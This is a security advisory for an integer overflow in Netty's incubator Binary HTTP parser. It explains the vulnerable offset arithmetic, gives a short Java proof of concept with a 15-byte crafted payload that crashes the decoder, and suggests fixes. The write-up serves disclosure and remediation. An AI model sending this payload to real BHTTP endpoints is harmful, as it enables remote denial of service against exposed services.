CVE-2026-61799: Integer Overflow

Summary

io.netty.incubator:netty-incubator-codec-bhttp uses attacker-controlled Binary HTTP variable-length integers as long values but accumulates them into int offsets. Large valid varint lengths wrap the internal offset negative, leading to unchecked ArrayIndexOutOfBoundsException / IndexOutOfBoundsException from a tiny malformed BHTTP payload. A remote peer can trigger connection-level denial of service in applications that expose BinaryHttpParser / BinaryHttpDecoder to untrusted input.

Details

In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, several parser paths store cumulative byte offsets in int sumBytes and then add attacker-controlled long lengths using compound assignment. In Java, int += long narrows the result back to int, so a length such as 2^31 wraps sumBytes negative.

Primary request-control-data path:

- readRequestHead(...) declares int sumBytes = 0 at BinaryHttpParser.java:386. - It reads methodLength as a long at BinaryHttpParser.java:394. - It performs sumBytes += methodLength at BinaryHttpParser.java:395, narrowing the result to int. - If methodLength is 2^31, sumBytes wraps negative and bypasses if (sumBytes >= in.readableBytes()) return null at BinaryHttpParser.java:396-398. - The parser then computes schemeLengthIdx = in.readerIndex() + sumBytes and calls in.getByte(schemeLengthIdx) at BinaryHttpParser.java:401-402, producing a negative index exception.

The same pattern is present in header parsing:

- readFieldLine(...) uses int sumBytes and adds long nameLength / long valueLength at BinaryHttpParser.java:659-680. - valueLengthIdx = nameIdx + (int) nameLength at BinaryHttpParser.java:674 can also overflow.

getIndeterminateLength(...) similarly uses int sumBytes and long possibleTerminator at BinaryHttpParser.java:544-553.

Proof of concept

Safe local verification performed in this repository. After compiling codec-bhttp, the following minimal verifier uses a 15-byte payload:

java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.incubator.codec.bhttp.BinaryHttpParser;

public final class VerifyBhttpOverflow { public static void main(String[] args) { byte[] payload = new byte[] { 0x00, (byte)0xc0, 0x00, 0x00, 0x00, (byte)0x80, 0x00, 0x00, 0x00, 0x47, 0x45, 0x54, 0x58, 0x58, 0x58 }; ByteBuf input = Unpooled.wrappedBuffer(payload); try { new BinaryHttpParser(8192).parse(input, false); System.out.println("returned"); } catch (Throwable t) { System.out.println(t.getClass().getName()); System.out.println(t.getMessage()); } } }

Payload interpretation:

- 00: known-length request frame indicator. - c000000080000000: valid 8-byte varint encoding of 0x80000000 (2^31) as the method length. - 474554585858: a few dummy bytes so the parser proceeds far enough to compute the next index.

Observed result:

text java.lang.ArrayIndexOutOfBoundsException Index -2147483639 out of bounds for length 15

The parser should reject the malformed/incomplete message with a controlled decoder exception or return null awaiting more bytes; it should not allow integer wraparound to reach unchecked buffer indexing.

Impact

A remote peer can trigger an unchecked exception in the Binary HTTP decoder using a tiny payload. In typical Netty pipelines this closes or fails the affected channel. Depending on application-level exception handling, repeated payloads can cause sustained denial of service for exposed BHTTP endpoints. No memory corruption or information disclosure was observed because the failure occurs in Java/Netty bounds checks.

Suggested remediation

- Use long for all cumulative byte counts derived from protocol lengths. - Before converting any protocol length to int, verify it is non-negative, no larger than Integer.MAXVALUE, and no larger than available readable bytes and configured limits. - Replace sumBytes >= in.readableBytes() checks with precise checked arithmetic that permits exact-boundary complete fields but rejects impossible lengths. - Throw a controlled CorruptedFrameException / TooLongFrameException for invalid or unsupported lengths. - Add regression tests for 8-byte varint lengths at and above Integer.MAXVALUE in request control data, response control data, known and indeterminate field sections, and field lines.

References

- codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:386-402 - codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:659-680 - codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:544-553 - RFC 9292: Binary Representation of HTTP Messages - RFC 9000 variable-length integer encoding